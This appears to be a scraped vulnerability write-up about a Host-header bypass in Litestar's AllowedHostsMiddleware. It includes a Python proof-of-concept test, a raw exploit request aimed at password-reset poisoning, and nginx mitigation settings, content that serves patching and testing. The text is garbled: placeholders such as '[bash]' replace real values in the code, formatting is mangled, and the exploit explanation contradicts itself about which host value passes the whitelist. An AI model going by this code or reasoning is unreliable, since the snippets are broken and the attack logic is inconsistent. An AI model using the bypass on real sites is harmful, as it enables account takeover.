Listen to this Post
Intro
The `AllowedHostsMiddleware` in Litestar is designed to restrict requests to a whitelisted set of domains by validating the `Host` header. In affected versions (pre‑2.22.0), the validation logic falls back to the `X‑Forwarded‑Host` header when the `Host` header is absent, without verifying that the request actually passed through a trusted reverse proxy.
Because `X‑Forwarded‑Host` is a client‑controllable header, an attacker can omit the `Host` header entirely and set `X‑Forwarded‑Host` to any domain that matches the whitelist. The middleware then accepts the request as if it came from a trusted host, completely bypassing the allowed‑hosts check.
This flaw enables several types of attacks:
- Password reset poisoning – The application uses the injected host value to generate password‑reset links, redirecting victims to an attacker‑controlled domain.
- Cache poisoning – The host value is used in cache keys; an attacker can pollute the cache with malicious content.
- Routing manipulation – Backend routing decisions that depend on the host value can be hijacked.
The vulnerability exists because the middleware executes the following logic (line 68 oflitestar/middleware/allowed_hosts.py):headers = MutableScopeHeaders(scope=scope) if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[bash]: if self.allowed_hosts_regex.fullmatch(host): await self.app(scope, receive, send) returnWhen the `Host` header is missing, the code blindly uses the value of
X‑Forwarded‑Host. An attacker can craft a request with no `Host` header and a trusted domain in `X‑Forwarded‑Host` to satisfy the whitelist check. The official fix, released in Litestar 2.22.0 (20 May 2026), removes this dangerous fallback and requires that the `Host` header always be validated directly.
DailyCVE Form
Platform: ……. Litestar
Version: …….. 2.21.1 and earlier
Vulnerability :…… Host‑header injection (CWE‑644)
Severity: ……. Medium (5.9)
date: ………. 10 Jun 2026
Prediction: …… 20 May 2026
What Undercode Say
Analytics – The following commands and code snippets help detect whether an instance is vulnerable and can be used to test for the bypass in a lab environment.
Check if your Litestar version is affected
pip show litestar | grep Version If version < 2.22.0 → vulnerable
Minimal test script (PoC)
Save as test_bypass.py and run with Python 3.8+
import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient
@get("/")
async def index() -> dict:
return {"status": "ok"}
app = Litestar(
route_handlers=[bash],
allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)
1. Baseline: invalid Host is blocked
with TestClient(app=app) as client:
resp = client.get("/", headers={"Host": "evil.com"})
print(f"Host: evil.com -> {resp.status_code} (expected 400)")
2. Bypass: missing Host, X-Forwarded-Host set to trusted domain
async def bypass():
scope = {
"type": "http",
"method": "GET",
"path": "/",
"headers": [(b"x-forwarded-host", b"trusted.example.com")], no Host header
}
captured = {}
async def send(message):
if message["type"] == "http.response.start":
captured["status"] = message["status"]
await app(scope, None, send)
return captured.get("status")
status = asyncio.run(bypass())
print(f"No Host + X-Forwarded-Host: trusted.example.com -> {status} (expected 200, bypassed)")
Run the test:
python test_bypass.py
Exploit
To exploit the vulnerability, an attacker sends a raw HTTP request that omits the `Host` header but includes a `X-Forwarded-Host` header pointing to a whitelisted domain. For example:
GET /reset-password HTTP/1.1 X-Forwarded-Host: trusted.example.com
If the application uses the host value to construct a password‑reset link (https://trusted.example.com/reset?token=...`), the attacker can replace `trusted.example.com` with their own domain, causing the reset link to point to a malicious site.X-Forwarded-Host
<h2 style="color: blue;">Protection</h2>
- Upgrade to Litestar 2.22.0 or later – The fix removes the fallback to.X-Forwarded-Host`.
- If you cannot upgrade immediately, deploy a reverse proxy (e.g., nginx, Apache, or a CDN) that strips the `X-Forwarded-Host` header before requests reach the Litestar application.
- Configure your reverse proxy to always add a correct `Host` header based on the actual server name, and drop any client‑supplied
Example nginx configuration:
proxy_set_header Host $host; proxy_set_header X-Forwarded-Host "";
Impact
Successful exploitation allows an attacker to bypass the allowed‑hosts whitelist entirely. This can lead to:
– Password reset poisoning – Victims receive reset links on an attacker‑controlled domain, enabling account takeover.
– Cache poisoning – Malicious responses are cached under the trusted host’s cache key, serving attacker content to legitimate users.
– Routing manipulation – Backend routing decisions that trust the host value can be hijacked, potentially exposing internal endpoints or functionality.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
